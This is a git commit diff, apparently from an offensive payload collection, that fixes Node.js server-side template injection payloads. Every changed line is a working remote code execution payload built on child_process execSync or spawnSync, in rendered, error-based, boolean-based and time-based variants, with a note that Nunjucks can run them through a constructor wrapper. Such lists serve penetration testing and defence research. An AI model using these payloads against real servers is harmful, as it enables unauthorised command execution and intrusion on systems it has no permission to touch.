SSTI:
- Fixed NodeJS payloads
This commit is contained in:
@@ -41,17 +41,17 @@ To use these payloads, wrap them in the appropriate tag.
|
|||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
// Rendered RCE
|
// Rendered RCE
|
||||||
global.process.mainModule.require("child_process").execSync("id")
|
global.process.mainModule.require("child_process").execSync("id").toString()
|
||||||
|
|
||||||
// Error-Based RCE
|
// Error-Based RCE
|
||||||
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id"))
|
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())
|
||||||
""["x"][global.process.mainModule.require("child_process").execSync("id")]
|
""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]
|
||||||
|
|
||||||
// Boolean-Based RCE
|
// Boolean-Based RCE
|
||||||
[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]
|
[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]
|
||||||
|
|
||||||
// Time-Based RCE
|
// Time-Based RCE
|
||||||
global.process.mainModule.require("child_process").execSync("id && sleep 5")
|
global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()
|
||||||
```
|
```
|
||||||
|
|
||||||
NunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`.
|
NunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`.
|
||||||
|
|||||||
Reference in New Issue
Block a user